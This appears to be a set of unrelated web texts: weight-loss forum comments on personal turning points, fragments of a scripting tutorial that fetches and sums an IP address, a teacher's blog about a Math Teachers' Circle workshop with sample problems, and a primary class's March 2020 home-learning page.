About 3 years ago, my husband and I were going to fly to visit my family. From the moment I booked our flights, I began to panic about "what if" I have to ask for a seat belt extender. I remembered the last time we flew, I could barely get the seat belt buckled, and I had gained weight since then. I would rather die than embarrass us both on an airplane full of people. I was really ashamed even thinking about it, and it stayed on my mind until after both flights when we got back home. I was so thankful I didn't have to get one, but I barely got buckled in, and I noticed a woman larger than I across the isle who couldn't buckle hers, but laid her jacket on top. It just stuck with me and I started worrying about gaining more weight, and becoming limited in what I can or can't do, and where that might be. I also noticed in different chairs and booths, that I was very uncomfortable and had a hard time squeezing in. Humiliation and self loathing finally did it. I was truly ready then though to go through with the next effort. I've stuck with it so far, and I flew home in May of this year, and guess what? There was plenty of room for me in the seat belt, with extra to spare. It was such an awesome feeling! I also never worried about getting into it. Report
It's good to see you back in action, Coach Dean. I'm glad to know you're feeling better!
I think your statement that "My body is not the enemy anymore" is really significant and certainly represents part of what changed for me. I take loving care of my body knowing that it's the only one I get. I want to live a long and vigorous life, so I've got to be smart about what I put into my body and how I use it. Now that I've gotten used to doing so I really can't imagine going back to the way I used to feel. The challenge is to keep that from ever happening.... Report
I haven't had my AHA moment yet either--but have not given up!!! Just taking one day at a time! Report
I've gotten started without any sort of shocking "okay, this time I have to get it right" moment. Instead, it was a convergence of several other things.
I gained control of my finances. I moved into a place completely on my own instead of continuing to house and support my two adult children (19 and 20) who had not yet ever gotten a job. I realized I have plenty of baggage that will keep me out of relationships, so I don't need to maintain or add more weight (and its eventual harmful effects) to avoid men. Without the children "at home", I cook purely for me - so controlling the food in the house is easy - and do activities on my time - so fitness is easy as long as I avoid the lazies.
And so far so good. Report
You go ADAM !!
My health track began when I couldnt seem to keep up with my 5year young granddaughter.Always telling her to" slow down "or" wait a minute for memaw to catch up".Idid lose some weight & felt lots better.I could easily keep up with DGD as well.Only to gain it back.Now I am starting over again.I loved the way I felt when the pounds fell off.I want to feel that way again.health problems &doctor visits ) kept me on the go .test ,x-rays-blood work,I just got side tracked.But not anymore. Report
Very good report. My moment of truth came when I had to choose between buying a wheelchair to get around in or taking the stress off my back (too much fat). Thank goodness I found Spark People. The made it easier and gave me guidance when I needed it. Report
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tz = `cat /etc/timezone`;
continent, city = tz.split("/")
echo("Best city in the world?")
selection = stdin()
if selection == city {
echo("You might be biased...")
See it in action:
Let's now try to fetch our IP address and print the sum of its parts, if its higher than 100. Here's how you could do it in Bash:
# Simple program that fetches your IP and sums it up
RES=`curl -s 'https://api.ipify.org?format=json' || "ERR"`
if [ "$RES" = "ERR" ]; then
echo "An error occurred"
exit 1
IP=`echo $RES | jq -r ".ip"`
IFS=. read first second third fourth <<EOF
total=$((first + second + third + fourth))
if [ $total -gt 100 ]; then
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# Simple program that fetches your IP and sums it up
res = `curl -s 'https://api.ipify.org?format=json'`
if !res.ok {
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Last Monday morning I was on a SuperShuttle from SFO to the Creekside Inn. But I was running a little late, so the driver took me straight to the American Institute of Mathematics (AIM). I was expecting a tall building with lots of glass windows — instead the driver stopped here.
I was at AIM to attend a one-week workshop on How to Run a Math Teachers' Circle. I stumbled upon this opportunity simply by doing a search for a Circle that I could be a participant in. But there wasn't one in my area that I knew of, hence my always-ambitious-but-never-know-what-the-hell-I'm-getting-myself-into evil twin said, Why don't you start one?
I asked Erin, my next-door math colleague, to join me. She and I fulfilled the requirement for "two middle school math teachers" — we just needed to find "two mathematicians and one administrator or organizer" to make a team of five.
I contacted Brianna Donaldson, AIM's Director of Special Projects, to help us round out the team. Within the week, she hooked us up with Nate and Hala, both are math professors at Cal Lutheran. We still needed a fifth member, so I asked Melissa, another math colleague (there are only 3 of us at our junior high) — she graciously got on board.
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I meet the other two members of our team for the first time, Nate and Hala. I've seen their pictures online, and they look the same — thank God!
There are six teams: 2 from Texas, 1 Kansas, 1 New York (Rochester), and 2 California.
Josh Zucker appears first on the agenda, "Introduction to Problem Solving." I've always wanted to meet Josh — his name appears on most of the cool math problems that I first encountered at the Julia Robinson Mathematics Festival in Los Angeles. Turns out he's the director.
He facilitates this classic problem:
The numbers 1 through 100 are written on the board. You choose any two numbers x and yand erase them, writing xy + x + y in their place. You continue to do this until one number remains. What are the possible values for that remaining number?
I just want to post the problems here without further discussions on them so that you — the thinker, the mathematician, the teacher, the student, the problem solver — get to struggle with the problem and construct meaning for yourself.
There are three things that happen consistently each day, so I'll just mention them once here:
- We get two hours (TWO HOURS!!) for lunch as the nearby restaurants are about a 15-minute walk away.
- After lunch, we work within our group on logistics and fundraising to run our own math circle.
- "Happy Hour" greets us at the end of each session, if we wish to stay.
Tatiana Shubin is a math professor at San Jose State University; she presents Grid Power. I've always required my students to use quadrille-ruled composition notebooks to take notes and such, but after hearing Tatiana speak, I want my kiddos to do ALL their math work on grid paper!
Tatiana gives us this delightful problem:
How many squares are there in a 7 x 7 square?
Paul Zeitz introduces us to "Mathematical Games." He's a math professor at the University of San Francisco and is taking a sabbatical this year. I've ALWAYS wanted to buy the book The Art and Craft of Problem Solving — lo and behold, Paul is the author! But Paul doesn't once mention his book (I made the connection after the workshop was over), instead he recommends James Tanton'sSolve This. I need these books.
Two of the games we work on:
Takeaway. A set of 16 pennies is placed on the table. Two players take turns removing pennies. At each turn, a player must remove between 1 and 4 pennies (inclusive). The winner is the last player to make a legal move.
Puppies and Kittens, aka Wythoff's Nim. We start with a pile of kittens and puppies. Two players take turns; a legal move is removing any number of puppies or any number of kittens or an equal number of both puppies and kittens. The winner is the last player to make a legal move.
I really like how Paul keeps track of winning/losing moves as oasis/desert points on a horizontal line. So with the two variables like in Puppies and Kittens, we use a coordinate plane instead to record.
Diana White is a math professor at the University of Colorado Denver. Diana facilitates us through the Exploding Dots problem. (James Tanton owns the dots.)
Say you have a machine that holds ping pong balls. If you put three balls in the far right slot, they'll explode and two balls will move one space left into the next slot. Like this:
This happens with any set of three balls in one slot, therefore the explosion continues until there are fewer than three balls per slot. Thus, starting with 9 ping pong balls, the result looks like this:
Tom Davis is a retired math professor; he walks us through Conway's Rational Tangles. I don't even know how to begin to explain and illustrate this problem. It requires four students and two long ropes — each student holding one end of a rope. The task is to do two (and only two) commands of "twist" and "rotate" to tangle up the ropes — the challenge then is to untangle the ropes in a systematic way that involves arithmetic with positive and negative fractions. Okay, my explanation is as clear as mud.
The point is it is a wonderful activity that kids and teachers will absolutely love to get their hands on, literally.
The other point is I'm better than you because I have the two ropes. See?
Paul Zeitz is back this morning with "How to Gamble If You Must." We play a few dice games, then we work on Two Lottery Tickets:
It costs a consumer $1 to buy a Klopstockia lottery ticket. The buyer then scratches the ticket to see the prize. Compute, to the nearest penny, the expected profit that the state of Klopstockia makes per ticket sold, given the following scenarios for prizes awarded. (The state will make a profit if the expected value to the lottery ticket is less than $1.)
There is no math activity on our last day. Each team has 10 minutes to present the how/what/where/when of their own future Math Teachers' Circle. We each get a T-shirt and our team pictures taken. We bid farewell at noon.
I'm grateful to everyone who made this workshop possible. And I love my team!! So I lied about us being chosen among hundreds of thousands.
I had never drank so much wine in one week. I took two wine corks home to practice a trick Josh had taught us —
Please consider joining a Math Teachers' Circle in your area. Our team leads the Thousand Oaks MTC and would love to have you. (I'm working on our website.) We owe it to our students to make math engaging and accessible.


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We are a mixed class of Year 1 and Year 2 children taught by Miss Gough, alongside Mrs Burford in the mornings and Miss Chandler who teaches the class Science and Music on a Friday morning.
Our topic for this term (Spring 2) is Dinosaur Planet.
This is our homework bingo for the term. Dinosaur Planet
Robins Home Learning - March 2020
Each day you will be expected to do:
- 30 minutes of Maths
- 30 minutes of English
- Reading each day to an adult and a reading activity
- 1 Phizifit task
- To continue with Dinosaur Planet homework tasks or a activity from the Subject Challenge grid.
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Please click on the links below for the activity grids:
Year 1 - Phonics, at the moment we are working through Phase 5 where we look at alternative spellings for certain sounds. However, recapping Phase 3 is also important.
www.phonicsplay.co.uk have free interactive resources you can use. You can do the flashcards each day! The code for this website march20.
Mr T's phonics on YouTube -Geraldine the giraffe has some fun videos to keep the children engaged with phonics.
I have put together some worksheets to help you to guide your child through their phonics learning and revision. Please click on the link for the first set - Set 1
Useful Websites
BBC resources – organised by subjects and age group www.bbc.co.uk/teach/primary/zd7p47h
BBC bitesize - www.bbc.co.uk/bitesize
Science activities - www.natgeokids.com/uk/
There are many resources on a website called www.twinkl.co.uk – use the code - UKTWINKLHELPS
David Walliams is reading a new story each day att 11am
PE Ideas
Please have a go at these PE activities.
25 things to do to keep busy - these ideas may give you further inspiration.
All work needs to be recorded in your home learning book.
I am looking forward to hearing all about your amazing work when you come back to school,
Miss Gough